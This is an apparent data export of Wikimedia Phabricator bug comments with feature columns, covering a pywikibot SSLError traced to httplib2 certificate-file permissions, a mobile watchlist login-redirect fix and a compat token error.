334067,SSLError on requesting data from Wikidata,"The upstream issue is https://github.com/jcgregorio/httplib2/issues/252

tl;dr: the permissions in the .tar.gz on pypi are wrong, and these permissions are restored when pip installing as root.

Workarounds: 
 - fix the permissions manually
 - install pywikibot into a virtualenv
 - remove the pip installed httplib2 and replace by the distribution one
 - use pwb.py

and maybe
 - install the bundled httplib2 in externals/

also works.",,,1417113110,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,True,,,-31,True,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,4.0,1.0,4.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,1.0,8.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.363636363636363,0.6493506493506493,"The upstream issue is URL

tl;dr: the permissions in the .tar.gz on pypi are wrong, and these permissions are restored when pip installing as root.

Workarounds: 
 - fix the permissions manually
 - install pywikibot into a virtualenv
 - remove the pip installed httplib2 and replace by the distribution one
 - use pwb.py

and maybe
 - install the bundled httplib2 in externals/

also works."
334066,SSLError on requesting data from Wikidata,An update on this. In Amsterdam we found at that it seems as though my installation (ubuntu or python) made the cert file not readable by the process running pywikibot. Strange and weird but unlikely to be related to pywikibot itself.,,,1417110306,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,False,,,-31,True,0.0,0.0,0.0,2.0,2.0,9.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,20.0,0.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,9.0,4.0,7.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,20.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.217391304347826,0.8913043478260869,An update on this. In Amsterdam we found at that it seems as though my installation (ubuntu or python) made the cert file not readable by the process running pywikibot. Strange and weird but unlikely to be related to pywikibot itself.
327664,SSLError on requesting data from Wikidata,Yes. It's used by people using pywikibot-as-a-portable-package via pwb.py. I'm not sure why your system decided to a) use that directory (instead of using the system-installed one) or b) why it couldn't find it's cacerts file (which is included in the externals/httplib2 directory).,,,1412595221,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,1.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,3.0,4.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,1.0,4.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,3.0,0.0,3.0,0.0,0.0,1.0,3.5294117647058822,0.7352941176470589,Yes. It's used by people using pywikibot-as-a-portable-package via pwb.py. I'm not sure why your system decided to a) use that directory (instead of using the system-installed one) or b) why it couldn't find it's cacerts file (which is included in the externals/httplib2 directory).
327658,SSLError on requesting data from Wikidata,Is the httplib2 in core/externals necessary?,,,1412595068,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Is the httplib2 in core/externals necessary?
327651,SSLError on requesting data from Wikidata,"Sorry about that. Me getting confused between httplib and requests.

httplib2.CA_CERTS gives me /usr/local/lib/python2.7/dist-packages/httplib2-0.9-py2.7.egg/httplib2/cacerts.txt

---

I finally got things to work by deleting the httplib2 directory in the externals folder of pywikibot.",,,1412591289,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,5.0,10.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,2.0,4.448275862068965,0.7413793103448276,"Sorry about that. Me getting confused between httplib and requests.

httplib2.CA_CERTS gives me /usr/local/lib/python2.7/dist-packages/httplib2-0.9-py2.7.egg/httplib2/cacerts.txt

---

I finally got things to work by deleting the httplib2 directory in the externals folder of pywikibot."
327645,SSLError on requesting data from Wikidata,"Note that we use *httplib2*, not requests! Please try the following

$ python
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type ""help"", ""copyright"", ""credits"" or ""license"" for more information.
>>> import httplib2
>>> httplib2.CA_CERTS

This gives me '/etc/ssl/certs/ca-certificates.crt' for my Ubuntu 14.04-packaged httplib2, and '/path/to/venv/lib/python2.6/site-packages/httplib2-0.8_pywikibot1-py2.6.egg/httplib2/cacerts.txt' for a virtualenv.

What do you get, and does that file exist?",,,1412590488,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.5,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,14.0,0.5,1.0,1.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,6.0,0.5,2.0,2.5,0.0,0.0,0.5,0.0,2.5,0.5,3.5,0.0,3.0,4.0,7.0,1.0,7.0,0.0,3.0,0.0,1.0,1.0,1.0,0.5,0.5,0.0,2.5,3.426835317460317,0.6847718253968254,"Note that we use *httplib2*, not requests! Please try the following

$ python
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type ""help"", ""copyright"", ""credits"" or ""license"" for more information.
QUOTE
QUOTE

This gives me '/etc/ssl/certs/ca-certificates.crt' for my Ubuntu 14.04-packaged httplib2, and '/path/to/venv/lib/python2.6/site-packages/httplib2-0.8_pywikibot1-py2.6.egg/httplib2/cacerts.txt' for a virtualenv.

What do you get, and does that file exist?"
327638,SSLError on requesting data from Wikidata,@Merlijn: running httplib2 version 0.9,,,1412589009,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.166666666666667,1.0,SCREEN_NAME: running httplib2 version 0.9
327632,SSLError on requesting data from Wikidata,"@Fabian: SSL issue doesn't happen when I call pywikibot.version.getversion()

@Merlijn: Running ""pip install --upgrade httplib2"" didn't help (and on searching I find cacert.pem in the requests directory).

Completely reinstalled pywikibot (to try and remove any issues related to the egg installer but still the same issue.

u'[ssh] pywikibot-core.git (df93880, g4208, 2014/10/05, 23:53:47, n/a)'

Reading a bit at https://bugs.launchpad.net/ubuntu/+source/python-pip/+bug/1306991 it seems as though requests is broken for Ubuntu 14.04.",,,1412588219,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,False,,,-39,True,1.0,0.0,1.0,1.0,2.0,1.0,0.0,0.0,1.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,10.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,3.0,8.0,3.0,0.0,3.0,0.0,3.0,0.0,1.0,2.0,0.0,3.0,0.0,0.0,2.0,4.34375,0.75,"SCREEN_NAME: SSL issue doesn't happen when I call pywikibot.version.getversion()
SCREEN_NAME: Running ""pip install --upgrade httplib2"" didn't help (and on searching I find cacert.pem in the requests directory).

Completely reinstalled pywikibot (to try and remove any issues related to the egg installer but still the same issue.

u'[ssh] pywikibot-core.git (df93880, g4208, 2014/10/05, 23:53:47, n/a)'

Reading a bit at URL it seems as though requests is broken for Ubuntu 14.04."
327630,SSLError on requesting data from Wikidata,"Apparently this is what you get if your certificates file is missing. What version of httplib2 do you have installed, and was it installed by a package manager or with pip?

In the latter case, please pip install --upgrade httplib2; in the former case, a bug report for your distribution might be in order.",,,1412461344,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,5.0,2.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,8.0,13.0,3.0,2.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,2.0,0.0,0.0,0.0,4.096774193548387,0.7903225806451613,"Apparently this is what you get if your certificates file is missing. What version of httplib2 do you have installed, and was it installed by a package manager or with pip?

In the latter case, please pip install --upgrade httplib2; in the former case, a bug report for your distribution might be in order."
327629,SSLError on requesting data from Wikidata,Does this happen also when calling pywikibot.version.getversion()?,,,1412460875,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,6.0,1.0,Does this happen also when calling pywikibot.version.getversion()?
327627,SSLError on requesting data from Wikidata,"Work for me with:
>>> pywikibot.version.getversion()
u'[ssh] pywikibot-core.git (a5744db, g4204, 2014/10/04, 18:56:45, OUTDATED)'",,,1412459970,,PHID-USER-43lnvui4hacyjrc2lflj,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,4.0,9.0,17.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,3.9565217391304346,0.8260869565217391,"Work for me with:
QUOTE
u'[ssh] pywikibot-core.git (a5744db, g4204, 2014/10/04, 18:56:45, OUTDATED)'"
73206,Watchlist doesn't redirect to login on mobile,"Visit http://en.wikipedia.beta.wmflabs.org/wiki/Special:Watchlist (desktop) and you are redirected to the login form.
Do the same on mobile and no redirect.
http://en.m.wikipedia.beta.wmflabs.org/wiki/Special:Watchlist

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1411513680,1412727544.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-f2u7r562z6opn7udw5ah,task_description,resolved,True,c3,1,True,False,True,-41,True,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,14.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6136363636363638,0.6590909090909091,"Visit URL (desktop) and you are redirected to the login form.
Do the same on mobile and no redirect.
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
326436,Watchlist doesn't redirect to login on mobile,"Change 164673 merged by jenkins-bot:
Redirect to login

https://gerrit.wikimedia.org/r/164673",,,1412727440,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f2u7r562z6opn7udw5ah,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,"Change 164673 merged by jenkins-bot:
Redirect to login

GERRIT_URL"
326433,Watchlist doesn't redirect to login on mobile,"Change 164673 had a related patch set uploaded by Bmansurov:
Redirect to login

https://gerrit.wikimedia.org/r/164673",,,1412371310,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f2u7r562z6opn7udw5ah,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.647058823529412,1.0,"Change 164673 had a related patch set uploaded by Bmansurov:
Redirect to login

GERRIT_URL"
326429,Watchlist doesn't redirect to login on mobile,http://en.wikipedia.beta.wmflabs.org/wiki/Special:Uploads has the same problem and should also be fixed.,,,1412297064,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-f2u7r562z6opn7udw5ah,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,1.0,URL has the same problem and should also be fixed.
326423,Watchlist doesn't redirect to login on mobile,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/xJw5Qr3s",,,1411513809,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-f2u7r562z6opn7udw5ah,task_subcomment,,True,c3,1,False,,,-41,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card URL"
72992,Login,"**Author:** `ramya.s`

**Description:**
login

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7
**Platform**: PC
**URL**: http://www.ereceivablemanager.com/meritoruat/",Needs Triage,90.0,1411032060,1411033228.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-qwwyg5iraasd2s5gs3za,task_description,invalid,True,c3,1,False,False,True,-41,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.719298245614035,0.3508771929824561,"**Author:** CODE

**Description:**
login

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7
**Platform**: PC
**URL**: URL"
72820,Add ability to ignore SSL certificate errors for compatibility,"would you please add this patch for compat?
https://gerrit.wikimedia.org/r/#/c/160189/
Now when i edit claims it crashes and show this token error

  File ""/home/reza/compat/wikipedia.py"", line 4799, in editclaim
    raise RuntimeError(""API query error: %s"" % data)
RuntimeError: API query error: {u'servedby': u'mw1191', u'error': {u'info': u""The 'token' parameter must be POSTed"", u'code': u'mustposttoken'}}

--------------------------
**Version**: compat-(1.0)
**Severity**: normal",Needs Triage,90.0,1410675660,,PHID-USER-dswbdv7ibhsefllcqarz,False,,False,PHID-TASK-bppblgzqku2hjokxz6pn,task_description,duplicate,True,c3,1,False,False,,-42,True,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,7.5,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,1.5,0.5,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,13.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,6.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,2.0,0.5,1.5,0.0,1.5,1.0,9.0,0.5,9.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,3.6363636363636367,0.6727272727272727,"would you please add this patch for compat?
URL
Now when i edit claims it crashes and show this token error

  File ""/home/reza/compat/wikipedia.py"", line 4799, in editclaim
    raise RuntimeError(""API query error: %s"" % data)
RuntimeError: API query error: {u'servedby': u'mw1191', u'error': {u'info': u""The 'token' parameter must be POSTed"", u'code': u'mustposttoken'}}

--------------------------
**Version**: compat-(1.0)
**Severity**: normal"
331727,Add ability to ignore SSL certificate errors for compatibility,"

*** This bug has been marked as a duplicate of bug 71159 ***",,,1411483628,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-bppblgzqku2hjokxz6pn,task_subcomment,,True,c3,1,False,,,-41,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 71159 ***"
331724,Add ability to ignore SSL certificate errors for compatibility,"You can't ignore errors because they are ""errors"" what you can ignore are warnings.",,,1410763937,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-bppblgzqku2hjokxz6pn,task_subcomment,,True,c3,1,False,,,-42,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,11.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,0.7777777777777778,"You can't ignore errors because they are ""errors"" what you can ignore are warnings."
331721,Add ability to ignore SSL certificate errors for compatibility,@Amir it stops the bot and it is not a warning also when I added try to repeat the function it will work but for adding references it stop completely.,,,1410759563,,PHID-USER-dswbdv7ibhsefllcqarz,False,,,PHID-TASK-bppblgzqku2hjokxz6pn,task_subcomment,,True,c3,1,False,,,-42,True,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,6.0,3.0,6.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,16.0,6.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.096774193548387,0.8709677419354839,SCREEN_NAME it stops the bot and it is not a warning also when I added try to repeat the function it will work but for adding references it stop completely.
331715,Add ability to ignore SSL certificate errors for compatibility,"It is not a warning that can be ignored and it's not related to SSL either.

I fixed it by a little trick in wikipedia.py I can fix it easily but my question is should we fix it?

Best",,,1410735931,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-bppblgzqku2hjokxz6pn,task_subcomment,,True,c3,1,False,,,-42,True,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,11.0,7.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,5.0,7.0,11.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,20.0,7.0,2.0,2.0,0.0,0.0,20.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.7727272727272727,"It is not a warning that can be ignored and it's not related to SSL either.

I fixed it by a little trick in wikipedia.py I can fix it easily but my question is should we fix it?

Best"
331709,Add ability to ignore SSL certificate errors for compatibility,"The token error is a different bug caused by changes in the MW API, and not yet fixed for compat.  I suspect that has already been raised, but Amir will know.

